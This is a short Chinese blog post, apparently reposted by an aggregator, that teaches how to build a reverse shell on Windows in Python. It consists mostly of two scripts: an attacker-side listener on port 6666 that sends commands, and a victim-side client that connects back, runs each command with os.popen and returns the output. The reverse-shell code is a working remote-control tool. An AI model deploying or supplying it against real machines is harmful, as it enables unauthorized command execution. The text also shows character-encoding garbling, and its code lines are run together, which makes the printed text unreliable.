Windows下的反弹shell
生活随笔
收集整理的這篇文章主要介紹了
Windows下的反弹shell
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
今天學習內(nèi)容就是反彈shell啦~~
當服務(wù)器端攻擊客戶端時,此時客戶端IP地址未知,所以要使用反向shell
在這里分別寫服務(wù)器端代碼和客戶端代碼;注:每次運行時要先開服務(wù)器端
服務(wù)器端(攻擊者,導(dǎo)入模塊:import socket)
基本步驟:
1、創(chuàng)建套接字
2、進行綁定(ip:允許連接的ip,服務(wù)器端端口)
s.bind(("0.0.0.0",6666))3、允許連入的主機數(shù)
s.listen()4、創(chuàng)建接口與連入的主機地址
con,addr=s.accept()具體代碼:
import sockets = socket.socket() s.bind(('0.0.0.0',6666)) s.listen(5) con,addr = s.accept() print(addr)for i in range(3):cmd = input('第%d條命令:'%(i+1))con.send(cmd.encode())result = con.recv(65536)print(result.decode()) con.close()客戶端(被攻擊者,導(dǎo)入模塊:import socket,import os)
基本步驟:
1、創(chuàng)建套接字,連接服務(wù)器(ip:服務(wù)器端,端口:服務(wù)器端)
2、收發(fā)數(shù)據(jù)
cmd = s.recv(1024).decode() s.send(result.encode())3、關(guān)閉套接字
s.close()具體代碼:
import os import time import sockets = socket.socket()while 1:try:s.connect(('127.0.0.1',6666))breakexcept:time.sleep(5)for i in range(3):cmd = s.recv(1024).decode()print('收到的第%d條命令'%(i+1),cmd)result = os.popen(cmd).read()if result:s.send(result.encode())else:if cmd[:2] == 'cd':os.chdir(cmd[2:].strip())s.send(b'OK!')s.close()實現(xiàn)效果圖:
客戶端:
服務(wù)器端:
enen~~就醬紫
總結(jié)
以上是生活随笔為你收集整理的Windows下的反弹shell的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: windows下的正向shell
- 下一篇: WindowsServer2008防火墙